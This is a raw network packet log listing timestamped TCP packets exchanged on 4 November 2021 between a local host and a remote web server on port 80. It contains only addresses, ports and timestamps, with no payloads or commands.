Nov 4, 2021 13:13:29.453536987 CET	49767	80	192.168.2.3	104.21.92.165
Nov 4, 2021 13:13:29.456888914 CET	80	49767	104.21.92.165	192.168.2.3
Nov 4, 2021 13:13:29.456921101 CET	80	49767	104.21.92.165	192.168.2.3
Nov 4, 2021 13:13:29.456979990 CET	80	49767	104.21.92.165	192.168.2.3
Nov 4, 2021 13:13:29.457005024 CET	80	49767	104.21.92.165	192.168.2.3
Nov 4, 2021 13:13:29.457015991 CET	49767	80	192.168.2.3	104.21.92.165
Nov 4, 2021 13:13:29.457034111 CET	49767	80	192.168.2.3	104.21.92.165
Nov 4, 2021 13:13:29.457325935 CET	80	49767	104.21.92.165	192.168.2.3
Nov 4, 2021 13:13:29.457351923 CET	80	49767	104.21.92.165	192.168.2.3
Nov 4, 2021 13:13:29.457377911 CET	80	49767	104.21.92.165	192.168.2.3
Nov 4, 2021 13:13:29.457382917 CET	49767	80	192.168.2.3	104.21.92.165
Nov 4, 2021 13:13:29.457402945 CET	80	49767	104.21.92.165	192.168.2.3
Nov 4, 2021 13:13:29.457427025 CET	49767	80	192.168.2.3	104.21.92.165
Nov 4, 2021 13:13:29.457860947 CET	80	49767	104.21.92.165	192.168.2.3
Nov 4, 2021 13:13:29.457881927 CET	80	49767	104.21.92.165	192.168.2.3
Nov 4, 2021 13:13:29.457899094 CET	80	49767	104.21.92.165	192.168.2.3
Nov 4, 2021 13:13:29.457915068 CET	80	49767	104.21.92.165	192.168.2.3
Nov 4, 2021 13:13:29.458132982 CET	80	49767	104.21.92.165	192.168.2.3
Nov 4, 2021 13:13:29.458188057 CET	49767	80	192.168.2.3	104.21.92.165
Nov 4, 2021 13:13:29.458209038 CET	49767	80	192.168.2.3	104.21.92.165
Nov 4, 2021 13:13:29.458323002 CET	80	49767	104.21.92.165	192.168.2.3
Nov 4, 2021 13:13:29.458339930 CET	80	49767	104.21.92.165	192.168.2.3
Nov 4, 2021 13:13:29.458353996 CET	80	49767	104.21.92.165	192.168.2.3
Nov 4, 2021 13:13:29.458980083 CET	49767	80	192.168.2.3	104.21.92.165
Nov 4, 2021 13:13:29.459002972 CET	80	49767	104.21.92.165	192.168.2.3
Nov 4, 2021 13:13:29.459021091 CET	80	49767	104.21.92.165	192.168.2.3
Nov 4, 2021 13:13:29.459033012 CET	80	49767	104.21.92.165	192.168.2.3
Nov 4, 2021 13:13:29.459044933 CET	80	49767	104.21.92.165	192.168.2.3
Nov 4, 2021 13:13:29.459091902 CET	49767	80	192.168.2.3	104.21.92.165
Nov 4, 2021 13:13:29.459331036 CET	80	49767	104.21.92.165	192.168.2.3
Nov 4, 2021 13:13:29.459353924 CET	80	49767	104.21.92.165	192.168.2.3
Nov 4, 2021 13:13:29.459376097 CET	80	49767	104.21.92.165	192.168.2.3
Nov 4, 2021 13:13:29.459393024 CET	49767	80	192.168.2.3	104.21.92.165
Nov 4, 2021 13:13:29.459398985 CET	80	49767	104.21.92.165	192.168.2.3
Nov 4, 2021 13:13:29.459418058 CET	49767	80	192.168.2.3	104.21.92.165
Nov 4, 2021 13:13:29.459469080 CET	80	49767	104.21.92.165	192.168.2.3
Nov 4, 2021 13:13:29.459491014 CET	80	49767	104.21.92.165	192.168.2.3
Nov 4, 2021 13:13:29.459511995 CET	80	49767	104.21.92.165	192.168.2.3
Nov 4, 2021 13:13:29.459525108 CET	49767	80	192.168.2.3	104.21.92.165
Nov 4, 2021 13:13:29.459527969 CET	80	49767	104.21.92.165	192.168.2.3
Nov 4, 2021 13:13:29.459714890 CET	49767	80	192.168.2.3	104.21.92.165
Nov 4, 2021 13:13:29.462297916 CET	80	49767	104.21.92.165	192.168.2.3
Nov 4, 2021 13:13:29.462331057 CET	80	49767	104.21.92.165	192.168.2.3
Nov 4, 2021 13:13:29.462408066 CET	49767	80	192.168.2.3	104.21.92.165
Nov 4, 2021 13:13:29.462419033 CET	80	49767	104.21.92.165	192.168.2.3
Nov 4, 2021 13:13:29.462455034 CET	80	49767	104.21.92.165	192.168.2.3
Nov 4, 2021 13:13:29.462722063 CET	49767	80	192.168.2.3	104.21.92.165
Nov 4, 2021 13:13:29.463051081 CET	80	49767	104.21.92.165	192.168.2.3
Nov 4, 2021 13:13:29.463166952 CET	80	49767	104.21.92.165	192.168.2.3
Nov 4, 2021 13:13:29.463192940 CET	80	49767	104.21.92.165	192.168.2.3
Nov 4, 2021 13:13:29.463215113 CET	80	49767	104.21.92.165	192.168.2.3
Nov 4, 2021 13:13:29.463246107 CET	49767	80	192.168.2.3	104.21.92.165
Nov 4, 2021 13:13:29.463265896 CET	49767	80	192.168.2.3	104.21.92.165
Nov 4, 2021 13:13:29.463912010 CET	80	49767	104.21.92.165	192.168.2.3
Nov 4, 2021 13:13:29.463936090 CET	80	49767	104.21.92.165	192.168.2.3
Nov 4, 2021 13:13:29.463956118 CET	80	49767	104.21.92.165	192.168.2.3
Nov 4, 2021 13:13:29.463977098 CET	80	49767	104.21.92.165	192.168.2.3
Nov 4, 2021 13:13:29.463998079 CET	80	49767	104.21.92.165	192.168.2.3
Nov 4, 2021 13:13:29.464018106 CET	49767	80	192.168.2.3	104.21.92.165
Nov 4, 2021 13:13:29.464039087 CET	80	49767	104.21.92.165	192.168.2.3
Nov 4, 2021 13:13:29.464059114 CET	80	49767	104.21.92.165	192.168.2.3
Nov 4, 2021 13:13:29.464071035 CET	80	49767	104.21.92.165	192.168.2.3
Nov 4, 2021 13:13:29.464082956 CET	80	49767	104.21.92.165	192.168.2.3
Nov 4, 2021 13:13:29.464102030 CET	80	49767	104.21.92.165	192.168.2.3
Nov 4, 2021 13:13:29.464113951 CET	80	49767	104.21.92.165	192.168.2.3
Nov 4, 2021 13:13:29.464123011 CET	49767	80	192.168.2.3	104.21.92.165
Nov 4, 2021 13:13:29.464128971 CET	49767	80	192.168.2.3	104.21.92.165
Nov 4, 2021 13:13:29.464129925 CET	80	49767	104.21.92.165	192.168.2.3
Nov 4, 2021 13:13:29.464205980 CET	49767	80	192.168.2.3	104.21.92.165
Nov 4, 2021 13:13:29.464231014 CET	49767	80	192.168.2.3	104.21.92.165
Nov 4, 2021 13:13:29.464587927 CET	80	49767	104.21.92.165	192.168.2.3
Nov 4, 2021 13:13:29.464715958 CET	49767	80	192.168.2.3	104.21.92.165
Nov 4, 2021 13:13:29.464715958 CET	80	49767	104.21.92.165	192.168.2.3
Nov 4, 2021 13:13:29.464740992 CET	80	49767	104.21.92.165	192.168.2.3
Nov 4, 2021 13:13:29.464761019 CET	80	49767	104.21.92.165	192.168.2.3
Nov 4, 2021 13:13:29.464807987 CET	49767	80	192.168.2.3	104.21.92.165
Nov 4, 2021 13:13:29.468112946 CET	80	49767	104.21.92.165	192.168.2.3
Nov 4, 2021 13:13:29.468142986 CET	80	49767	104.21.92.165	192.168.2.3
Nov 4, 2021 13:13:29.468170881 CET	80	49767	104.21.92.165	192.168.2.3
Nov 4, 2021 13:13:29.468192101 CET	80	49767	104.21.92.165	192.168.2.3
Nov 4, 2021 13:13:29.468291044 CET	49767	80	192.168.2.3	104.21.92.165
Nov 4, 2021 13:13:29.468313932 CET	49767	80	192.168.2.3	104.21.92.165
Nov 4, 2021 13:13:29.468935966 CET	80	49767	104.21.92.165	192.168.2.3
Nov 4, 2021 13:13:29.468976974 CET	80	49767	104.21.92.165	192.168.2.3
Nov 4, 2021 13:13:29.469006062 CET	80	49767	104.21.92.165	192.168.2.3
Nov 4, 2021 13:13:29.469043016 CET	49767	80	192.168.2.3	104.21.92.165
Nov 4, 2021 13:13:29.469052076 CET	80	49767	104.21.92.165	192.168.2.3
Nov 4, 2021 13:13:29.469093084 CET	49767	80	192.168.2.3	104.21.92.165
Nov 4, 2021 13:13:29.469093084 CET	80	49767	104.21.92.165	192.168.2.3
Nov 4, 2021 13:13:29.469121933 CET	80	49767	104.21.92.165	192.168.2.3
Nov 4, 2021 13:13:29.469145060 CET	80	49767	104.21.92.165	192.168.2.3
Nov 4, 2021 13:13:29.469149113 CET	49767	80	192.168.2.3	104.21.92.165
Nov 4, 2021 13:13:29.469168901 CET	80	49767	104.21.92.165	192.168.2.3
Nov 4, 2021 13:13:29.469371080 CET	49767	80	192.168.2.3	104.21.92.165
Nov 4, 2021 13:13:29.469511986 CET	80	49767	104.21.92.165	192.168.2.3
Nov 4, 2021 13:13:29.469561100 CET	80	49767	104.21.92.165	192.168.2.3
Nov 4, 2021 13:13:29.469588995 CET	80	49767	104.21.92.165	192.168.2.3
Nov 4, 2021 13:13:29.469593048 CET	49767	80	192.168.2.3	104.21.92.165
Nov 4, 2021 13:13:29.469618082 CET	80	49767	104.21.92.165	192.168.2.3
Nov 4, 2021 13:13:29.469676971 CET	49767	80	192.168.2.3	104.21.92.165
Nov 4, 2021 13:13:29.470362902 CET	80	49767	104.21.92.165	192.168.2.3
Nov 4, 2021 13:13:29.470483065 CET	80	49767	104.21.92.165	192.168.2.3
Nov 4, 2021 13:13:29.470514059 CET	80	49767	104.21.92.165	192.168.2.3
Nov 4, 2021 13:13:29.470541954 CET	80	49767	104.21.92.165	192.168.2.3
Nov 4, 2021 13:13:29.470541000 CET	49767	80	192.168.2.3	104.21.92.165
Nov 4, 2021 13:13:29.470607996 CET	80	49767	104.21.92.165	192.168.2.3
Nov 4, 2021 13:13:29.470643997 CET	80	49767	104.21.92.165	192.168.2.3
Nov 4, 2021 13:13:29.470647097 CET	49767	80	192.168.2.3	104.21.92.165
Nov 4, 2021 13:13:29.470679045 CET	80	49767	104.21.92.165	192.168.2.3
Nov 4, 2021 13:13:29.470707893 CET	80	49767	104.21.92.165	192.168.2.3
Nov 4, 2021 13:13:29.470735073 CET	49767	80	192.168.2.3	104.21.92.165
Nov 4, 2021 13:13:29.472172022 CET	80	49767	104.21.92.165	192.168.2.3
Nov 4, 2021 13:13:29.472203970 CET	80	49767	104.21.92.165	192.168.2.3
Nov 4, 2021 13:13:29.472265959 CET	80	49767	104.21.92.165	192.168.2.3
Nov 4, 2021 13:13:29.472295046 CET	80	49767	104.21.92.165	192.168.2.3
Nov 4, 2021 13:13:29.472325087 CET	49767	80	192.168.2.3	104.21.92.165
Nov 4, 2021 13:13:29.472342968 CET	49767	80	192.168.2.3	104.21.92.165
Nov 4, 2021 13:13:29.473056078 CET	80	49767	104.21.92.165	192.168.2.3
Nov 4, 2021 13:13:29.473092079 CET	80	49767	104.21.92.165	192.168.2.3
Nov 4, 2021 13:13:29.473138094 CET	80	49767	104.21.92.165	192.168.2.3
Nov 4, 2021 13:13:29.473144054 CET	49767	80	192.168.2.3	104.21.92.165
Nov 4, 2021 13:13:29.473166943 CET	80	49767	104.21.92.165	192.168.2.3
Nov 4, 2021 13:13:29.473216057 CET	49767	80	192.168.2.3	104.21.92.165
Nov 4, 2021 13:13:29.473870993 CET	80	49767	104.21.92.165	192.168.2.3
Nov 4, 2021 13:13:29.473902941 CET	80	49767	104.21.92.165	192.168.2.3
Nov 4, 2021 13:13:29.473932981 CET	80	49767	104.21.92.165	192.168.2.3
Nov 4, 2021 13:13:29.473967075 CET	80	49767	104.21.92.165	192.168.2.3
Nov 4, 2021 13:13:29.474014044 CET	49767	80	192.168.2.3	104.21.92.165
Nov 4, 2021 13:13:29.474034071 CET	49767	80	192.168.2.3	104.21.92.165
Nov 4, 2021 13:13:29.474631071 CET	80	49767	104.21.92.165	192.168.2.3
Nov 4, 2021 13:13:29.474663019 CET	80	49767	104.21.92.165	192.168.2.3
Nov 4, 2021 13:13:29.474690914 CET	80	49767	104.21.92.165	192.168.2.3
Nov 4, 2021 13:13:29.474721909 CET	80	49767	104.21.92.165	192.168.2.3
Nov 4, 2021 13:13:29.474735975 CET	49767	80	192.168.2.3	104.21.92.165
Nov 4, 2021 13:13:29.474742889 CET	49767	80	192.168.2.3	104.21.92.165
Nov 4, 2021 13:13:29.474750996 CET	80	49767	104.21.92.165	192.168.2.3
Nov 4, 2021 13:13:29.474780083 CET	80	49767	104.21.92.165	192.168.2.3
Nov 4, 2021 13:13:29.474812031 CET	80	49767	104.21.92.165	192.168.2.3
Nov 4, 2021 13:13:29.474841118 CET	80	49767	104.21.92.165	192.168.2.3
Nov 4, 2021 13:13:29.474863052 CET	49767	80	192.168.2.3	104.21.92.165
Nov 4, 2021 13:13:29.474868059 CET	49767	80	192.168.2.3	104.21.92.165
Nov 4, 2021 13:13:29.475029945 CET	80	49767	104.21.92.165	192.168.2.3
Nov 4, 2021 13:13:29.475099087 CET	49767	80	192.168.2.3	104.21.92.165
Nov 4, 2021 13:13:29.475172997 CET	80	49767	104.21.92.165	192.168.2.3
Nov 4, 2021 13:13:29.475195885 CET	80	49767	104.21.92.165	192.168.2.3
Nov 4, 2021 13:13:29.475217104 CET	80	49767	104.21.92.165	192.168.2.3
Nov 4, 2021 13:13:29.475415945 CET	49767	80	192.168.2.3	104.21.92.165
Nov 4, 2021 13:13:29.475914955 CET	80	49767	104.21.92.165	192.168.2.3
Nov 4, 2021 13:13:29.476052999 CET	80	49767	104.21.92.165	192.168.2.3
Nov 4, 2021 13:13:29.476074934 CET	49767	80	192.168.2.3	104.21.92.165
Nov 4, 2021 13:13:29.476203918 CET	80	49767	104.21.92.165	192.168.2.3
Nov 4, 2021 13:13:29.476227999 CET	80	49767	104.21.92.165	192.168.2.3
Nov 4, 2021 13:13:29.476300001 CET	49767	80	192.168.2.3	104.21.92.165
Nov 4, 2021 13:13:29.479599953 CET	80	49767	104.21.92.165	192.168.2.3
Nov 4, 2021 13:13:29.479629993 CET	80	49767	104.21.92.165	192.168.2.3
Nov 4, 2021 13:13:29.479657888 CET	80	49767	104.21.92.165	192.168.2.3
Nov 4, 2021 13:13:29.479677916 CET	80	49767	104.21.92.165	192.168.2.3
Nov 4, 2021 13:13:29.479825020 CET	49767	80	192.168.2.3	104.21.92.165
Nov 4, 2021 13:13:29.479839087 CET	49767	80	192.168.2.3	104.21.92.165
Nov 4, 2021 13:13:29.479861021 CET	80	49767	104.21.92.165	192.168.2.3
Nov 4, 2021 13:13:29.479883909 CET	80	49767	104.21.92.165	192.168.2.3
Nov 4, 2021 13:13:29.479908943 CET	80	49767	104.21.92.165	192.168.2.3
Nov 4, 2021 13:13:29.479932070 CET	80	49767	104.21.92.165	192.168.2.3
Nov 4, 2021 13:13:29.479942083 CET	49767	80	192.168.2.3	104.21.92.165
Nov 4, 2021 13:13:29.480022907 CET	80	49767	104.21.92.165	192.168.2.3
Nov 4, 2021 13:13:29.480046034 CET	49767	80	192.168.2.3	104.21.92.165
Nov 4, 2021 13:13:29.480046988 CET	80	49767	104.21.92.165	192.168.2.3
Nov 4, 2021 13:13:29.480072021 CET	80	49767	104.21.92.165	192.168.2.3
Nov 4, 2021 13:13:29.480089903 CET	80	49767	104.21.92.165	192.168.2.3
Nov 4, 2021 13:13:29.480113029 CET	49767	80	192.168.2.3	104.21.92.165
Nov 4, 2021 13:13:29.480156898 CET	49767	80	192.168.2.3	104.21.92.165
Nov 4, 2021 13:13:29.480905056 CET	80	49767	104.21.92.165	192.168.2.3
Nov 4, 2021 13:13:29.480926037 CET	80	49767	104.21.92.165	192.168.2.3
Nov 4, 2021 13:13:29.480962992 CET	80	49767	104.21.92.165	192.168.2.3
Nov 4, 2021 13:13:29.480978966 CET	80	49767	104.21.92.165	192.168.2.3
Nov 4, 2021 13:13:29.480995893 CET	49767	80	192.168.2.3	104.21.92.165
Nov 4, 2021 13:13:29.481095076 CET	49767	80	192.168.2.3	104.21.92.165
Nov 4, 2021 13:13:29.481436014 CET	80	49767	104.21.92.165	192.168.2.3
Nov 4, 2021 13:13:29.481473923 CET	80	49767	104.21.92.165	192.168.2.3
Nov 4, 2021 13:13:29.481507063 CET	80	49767	104.21.92.165	192.168.2.3
Nov 4, 2021 13:13:29.481538057 CET	80	49767	104.21.92.165	192.168.2.3
Nov 4, 2021 13:13:29.481542110 CET	49767	80	192.168.2.3	104.21.92.165
Nov 4, 2021 13:13:29.481564999 CET	49767	80	192.168.2.3	104.21.92.165
Nov 4, 2021 13:13:29.521636009 CET	49767	80	192.168.2.3	104.21.92.165
Nov 4, 2021 13:13:29.767798901 CET	80	49767	104.21.92.165	192.168.2.3
Nov 4, 2021 13:13:29.809640884 CET	49767	80	192.168.2.3	104.21.92.165
Nov 4, 2021 13:13:30.055766106 CET	80	49767	104.21.92.165	192.168.2.3
Nov 4, 2021 13:13:30.055948019 CET	49767	80	192.168.2.3	104.21.92.165
Nov 4, 2021 13:13:30.535758018 CET	80	49767	104.21.92.165	192.168.2.3
Nov 4, 2021 13:13:30.539148092 CET	49767	80	192.168.2.3	104.21.92.165
Nov 4, 2021 13:13:31.278763056 CET	49767	80	192.168.2.3	104.21.92.165
Nov 4, 2021 13:13:31.295980930 CET	80	49767	104.21.92.165	192.168.2.3
Nov 4, 2021 13:13:31.296030998 CET	80	49767	104.21.92.165	192.168.2.3
Nov 4, 2021 13:13:31.296066999 CET	80	49767	104.21.92.165	192.168.2.3
Nov 4, 2021 13:13:31.296143055 CET	49767	80	192.168.2.3	104.21.92.165
Nov 4, 2021 13:13:31.296168089 CET	80	49767	104.21.92.165	192.168.2.3
Nov 4, 2021 13:13:31.296214104 CET	80	49767	104.21.92.165	192.168.2.3
Nov 4, 2021 13:13:31.296237946 CET	49767	80	192.168.2.3	104.21.92.165
Nov 4, 2021 13:13:31.296371937 CET	80	49767	104.21.92.165	192.168.2.3
Nov 4, 2021 13:13:31.296411991 CET	80	49767	104.21.92.165	192.168.2.3
Nov 4, 2021 13:13:31.296462059 CET	49767	80	192.168.2.3	104.21.92.165
Nov 4, 2021 13:13:31.296464920 CET	80	49767	104.21.92.165	192.168.2.3
Nov 4, 2021 13:13:31.296514988 CET	80	49767	104.21.92.165	192.168.2.3
Nov 4, 2021 13:13:31.296520948 CET	49767	80	192.168.2.3	104.21.92.165
Nov 4, 2021 13:13:31.296559095 CET	80	49767	104.21.92.165	192.168.2.3
Nov 4, 2021 13:13:31.296760082 CET	49767	80	192.168.2.3	104.21.92.165
Nov 4, 2021 13:13:31.297017097 CET	80	49767	104.21.92.165	192.168.2.3
Nov 4, 2021 13:13:31.297130108 CET	80	49767	104.21.92.165	192.168.2.3
Nov 4, 2021 13:13:31.297175884 CET	80	49767	104.21.92.165	192.168.2.3
Nov 4, 2021 13:13:31.297197104 CET	49767	80	192.168.2.3	104.21.92.165
Nov 4, 2021 13:13:31.297214985 CET	80	49767	104.21.92.165	192.168.2.3
Nov 4, 2021 13:13:31.297266960 CET	80	49767	104.21.92.165	192.168.2.3
Nov 4, 2021 13:13:31.297307968 CET	49767	80	192.168.2.3	104.21.92.165
Nov 4, 2021 13:13:31.297938108 CET	80	49767	104.21.92.165	192.168.2.3
Nov 4, 2021 13:13:31.297991037 CET	80	49767	104.21.92.165	192.168.2.3
Nov 4, 2021 13:13:31.298032045 CET	80	49767	104.21.92.165	192.168.2.3
Nov 4, 2021 13:13:31.298054934 CET	49767	80	192.168.2.3	104.21.92.165
Nov 4, 2021 13:13:31.298082113 CET	49767	80	192.168.2.3	104.21.92.165
Nov 4, 2021 13:13:31.298084021 CET	80	49767	104.21.92.165	192.168.2.3
Nov 4, 2021 13:13:31.298127890 CET	80	49767	104.21.92.165	192.168.2.3
Nov 4, 2021 13:13:31.298243046 CET	49767	80	192.168.2.3	104.21.92.165
Nov 4, 2021 13:13:31.298783064 CET	80	49767	104.21.92.165	192.168.2.3
Nov 4, 2021 13:13:31.298829079 CET	80	49767	104.21.92.165	192.168.2.3
Nov 4, 2021 13:13:31.298885107 CET	80	49767	104.21.92.165	192.168.2.3
Nov 4, 2021 13:13:31.298887968 CET	49767	80	192.168.2.3	104.21.92.165
Nov 4, 2021 13:13:31.298940897 CET	80	49767	104.21.92.165	192.168.2.3
Nov 4, 2021 13:13:31.299001932 CET	80	49767	104.21.92.165	192.168.2.3
Nov 4, 2021 13:13:31.299048901 CET	49767	80	192.168.2.3	104.21.92.165
Nov 4, 2021 13:13:31.299671888 CET	80	49767	104.21.92.165	192.168.2.3
Nov 4, 2021 13:13:31.299720049 CET	80	49767	104.21.92.165	192.168.2.3
Nov 4, 2021 13:13:31.299773932 CET	49767	80	192.168.2.3	104.21.92.165
Nov 4, 2021 13:13:31.299776077 CET	80	49767	104.21.92.165	192.168.2.3
Nov 4, 2021 13:13:31.299818039 CET	80	49767	104.21.92.165	192.168.2.3
Nov 4, 2021 13:13:31.299865007 CET	49767	80	192.168.2.3	104.21.92.165
Nov 4, 2021 13:13:31.299871922 CET	80	49767	104.21.92.165	192.168.2.3
Nov 4, 2021 13:13:31.300129890 CET	49767	80	192.168.2.3	104.21.92.165
Nov 4, 2021 13:13:31.300524950 CET	80	49767	104.21.92.165	192.168.2.3
Nov 4, 2021 13:13:31.300568104 CET	80	49767	104.21.92.165	192.168.2.3
Nov 4, 2021 13:13:31.300609112 CET	80	49767	104.21.92.165	192.168.2.3
Nov 4, 2021 13:13:31.300616026 CET	49767	80	192.168.2.3	104.21.92.165
Nov 4, 2021 13:13:31.300662041 CET	80	49767	104.21.92.165	192.168.2.3
Nov 4, 2021 13:13:31.300705910 CET	49767	80	192.168.2.3	104.21.92.165
Nov 4, 2021 13:13:31.300718069 CET	80	49767	104.21.92.165	192.168.2.3
Nov 4, 2021 13:13:31.301350117 CET	80	49767	104.21.92.165	192.168.2.3
Nov 4, 2021 13:13:31.301408052 CET	80	49767	104.21.92.165	192.168.2.3
Nov 4, 2021 13:13:31.301443100 CET	49767	80	192.168.2.3	104.21.92.165
Nov 4, 2021 13:13:31.301469088 CET	80	49767	104.21.92.165	192.168.2.3
Nov 4, 2021 13:13:31.301527977 CET	80	49767	104.21.92.165	192.168.2.3
Nov 4, 2021 13:13:31.301570892 CET	80	49767	104.21.92.165	192.168.2.3
Nov 4, 2021 13:13:31.301584005 CET	49767	80	192.168.2.3	104.21.92.165
Nov 4, 2021 13:13:31.301824093 CET	49767	80	192.168.2.3	104.21.92.165
Nov 4, 2021 13:13:31.302190065 CET	80	49767	104.21.92.165	192.168.2.3
Nov 4, 2021 13:13:31.302262068 CET	80	49767	104.21.92.165	192.168.2.3
Nov 4, 2021 13:13:31.302309036 CET	80	49767	104.21.92.165	192.168.2.3
Nov 4, 2021 13:13:31.302360058 CET	49767	80	192.168.2.3	104.21.92.165
Nov 4, 2021 13:13:31.302364111 CET	80	49767	104.21.92.165	192.168.2.3
Nov 4, 2021 13:13:31.302423954 CET	80	49767	104.21.92.165	192.168.2.3
Nov 4, 2021 13:13:31.302468061 CET	49767	80	192.168.2.3	104.21.92.165
Nov 4, 2021 13:13:31.303075075 CET	80	49767	104.21.92.165	192.168.2.3
Nov 4, 2021 13:13:31.303117037 CET	80	49767	104.21.92.165	192.168.2.3
Nov 4, 2021 13:13:31.303147078 CET	80	49767	104.21.92.165	192.168.2.3
Nov 4, 2021 13:13:31.303229094 CET	49767	80	192.168.2.3	104.21.92.165
Nov 4, 2021 13:13:31.303422928 CET	80	49767	104.21.92.165	192.168.2.3
Nov 4, 2021 13:13:31.303488016 CET	80	49767	104.21.92.165	192.168.2.3
Nov 4, 2021 13:13:31.303531885 CET	49767	80	192.168.2.3	104.21.92.165
Nov 4, 2021 13:13:31.303534985 CET	80	49767	104.21.92.165	192.168.2.3
Nov 4, 2021 13:13:31.303580046 CET	80	49767	104.21.92.165	192.168.2.3
Nov 4, 2021 13:13:31.303626060 CET	80	49767	104.21.92.165	192.168.2.3
Nov 4, 2021 13:13:31.303658962 CET	49767	80	192.168.2.3	104.21.92.165
Nov 4, 2021 13:13:31.304276943 CET	80	49767	104.21.92.165	192.168.2.3
Nov 4, 2021 13:13:31.304322004 CET	80	49767	104.21.92.165	192.168.2.3
Nov 4, 2021 13:13:31.304357052 CET	49767	80	192.168.2.3	104.21.92.165
Nov 4, 2021 13:13:31.304359913 CET	80	49767	104.21.92.165	192.168.2.3
Nov 4, 2021 13:13:31.304413080 CET	49767	80	192.168.2.3	104.21.92.165
Nov 4, 2021 13:13:31.304415941 CET	80	49767	104.21.92.165	192.168.2.3
Nov 4, 2021 13:13:31.304474115 CET	80	49767	104.21.92.165	192.168.2.3
Nov 4, 2021 13:13:31.304517984 CET	49767	80	192.168.2.3	104.21.92.165
Nov 4, 2021 13:13:31.305200100 CET	80	49767	104.21.92.165	192.168.2.3
Nov 4, 2021 13:13:31.305293083 CET	80	49767	104.21.92.165	192.168.2.3
Nov 4, 2021 13:13:31.305339098 CET	49767	80	192.168.2.3	104.21.92.165
Nov 4, 2021 13:13:31.305344105 CET	80	49767	104.21.92.165	192.168.2.3
Nov 4, 2021 13:13:31.305383921 CET	80	49767	104.21.92.165	192.168.2.3
Nov 4, 2021 13:13:31.305423021 CET	80	49767	104.21.92.165	192.168.2.3
Nov 4, 2021 13:13:31.305474997 CET	49767	80	192.168.2.3	104.21.92.165
Nov 4, 2021 13:13:31.306009054 CET	80	49767	104.21.92.165	192.168.2.3
Nov 4, 2021 13:13:31.306052923 CET	80	49767	104.21.92.165	192.168.2.3
Nov 4, 2021 13:13:31.306066990 CET	49767	80	192.168.2.3	104.21.92.165
Nov 4, 2021 13:13:31.306092024 CET	80	49767	104.21.92.165	192.168.2.3
Nov 4, 2021 13:13:31.306129932 CET	80	49767	104.21.92.165	192.168.2.3
Nov 4, 2021 13:13:31.306133986 CET	49767	80	192.168.2.3	104.21.92.165
Nov 4, 2021 13:13:31.306169033 CET	80	49767	104.21.92.165	192.168.2.3
Nov 4, 2021 13:13:31.306245089 CET	49767	80	192.168.2.3	104.21.92.165
Nov 4, 2021 13:13:31.306821108 CET	80	49767	104.21.92.165	192.168.2.3
Nov 4, 2021 13:13:31.306880951 CET	80	49767	104.21.92.165	192.168.2.3
Nov 4, 2021 13:13:31.306917906 CET	80	49767	104.21.92.165	192.168.2.3
Nov 4, 2021 13:13:31.306945086 CET	49767	80	192.168.2.3	104.21.92.165
Nov 4, 2021 13:13:31.306957006 CET	80	49767	104.21.92.165	192.168.2.3
Nov 4, 2021 13:13:31.306996107 CET	80	49767	104.21.92.165	192.168.2.3
Nov 4, 2021 13:13:31.307056904 CET	49767	80	192.168.2.3	104.21.92.165
Nov 4, 2021 13:13:31.307739019 CET	80	49767	104.21.92.165	192.168.2.3
Nov 4, 2021 13:13:31.307796955 CET	49767	80	192.168.2.3	104.21.92.165
Nov 4, 2021 13:13:31.307802916 CET	80	49767	104.21.92.165	192.168.2.3
Nov 4, 2021 13:13:31.307852983 CET	80	49767	104.21.92.165	192.168.2.3
Nov 4, 2021 13:13:31.307889938 CET	80	49767	104.21.92.165	192.168.2.3
Nov 4, 2021 13:13:31.307893991 CET	49767	80	192.168.2.3	104.21.92.165
Nov 4, 2021 13:13:31.307934046 CET	80	49767	104.21.92.165	192.168.2.3
Nov 4, 2021 13:13:31.307977915 CET	49767	80	192.168.2.3	104.21.92.165
Nov 4, 2021 13:13:31.308609009 CET	80	49767	104.21.92.165	192.168.2.3
Nov 4, 2021 13:13:31.308670998 CET	80	49767	104.21.92.165	192.168.2.3
Nov 4, 2021 13:13:31.308734894 CET	80	49767	104.21.92.165	192.168.2.3
Nov 4, 2021 13:13:31.308778048 CET	49767	80	192.168.2.3	104.21.92.165
Nov 4, 2021 13:13:31.308790922 CET	80	49767	104.21.92.165	192.168.2.3
Nov 4, 2021 13:13:31.308842897 CET	80	49767	104.21.92.165	192.168.2.3
Nov 4, 2021 13:13:31.308845997 CET	49767	80	192.168.2.3	104.21.92.165
Nov 4, 2021 13:13:31.309478998 CET	80	49767	104.21.92.165	192.168.2.3
Nov 4, 2021 13:13:31.309515953 CET	80	49767	104.21.92.165	192.168.2.3
Nov 4, 2021 13:13:31.309551001 CET	80	49767	104.21.92.165	192.168.2.3
Nov 4, 2021 13:13:31.309564114 CET	49767	80	192.168.2.3	104.21.92.165
Nov 4, 2021 13:13:31.309585094 CET	80	49767	104.21.92.165	192.168.2.3
Nov 4, 2021 13:13:31.309596062 CET	49767	80	192.168.2.3	104.21.92.165
Nov 4, 2021 13:13:31.309618950 CET	80	49767	104.21.92.165	192.168.2.3
Nov 4, 2021 13:13:31.310254097 CET	49767	80	192.168.2.3	104.21.92.165
Nov 4, 2021 13:13:31.310321093 CET	80	49767	104.21.92.165	192.168.2.3
Nov 4, 2021 13:13:31.310372114 CET	80	49767	104.21.92.165	192.168.2.3
Nov 4, 2021 13:13:31.310415983 CET	49767	80	192.168.2.3	104.21.92.165
Nov 4, 2021 13:13:31.310419083 CET	80	49767	104.21.92.165	192.168.2.3
Nov 4, 2021 13:13:31.310456038 CET	80	49767	104.21.92.165	192.168.2.3
Nov 4, 2021 13:13:31.310489893 CET	80	49767	104.21.92.165	192.168.2.3
Nov 4, 2021 13:13:31.310503006 CET	49767	80	192.168.2.3	104.21.92.165
Nov 4, 2021 13:13:31.311227083 CET	80	49767	104.21.92.165	192.168.2.3
Nov 4, 2021 13:13:31.311271906 CET	80	49767	104.21.92.165	192.168.2.3
Nov 4, 2021 13:13:31.311306000 CET	80	49767	104.21.92.165	192.168.2.3
Nov 4, 2021 13:13:31.311333895 CET	49767	80	192.168.2.3	104.21.92.165
Nov 4, 2021 13:13:31.311352968 CET	49767	80	192.168.2.3	104.21.92.165
Nov 4, 2021 13:13:31.311651945 CET	80	49767	104.21.92.165	192.168.2.3
Nov 4, 2021 13:13:31.311685085 CET	80	49767	104.21.92.165	192.168.2.3
Nov 4, 2021 13:13:31.311717987 CET	80	49767	104.21.92.165	192.168.2.3
Nov 4, 2021 13:13:31.311741114 CET	49767	80	192.168.2.3	104.21.92.165
Nov 4, 2021 13:13:31.311752081 CET	80	49767	104.21.92.165	192.168.2.3
Nov 4, 2021 13:13:31.311783075 CET	80	49767	104.21.92.165	192.168.2.3
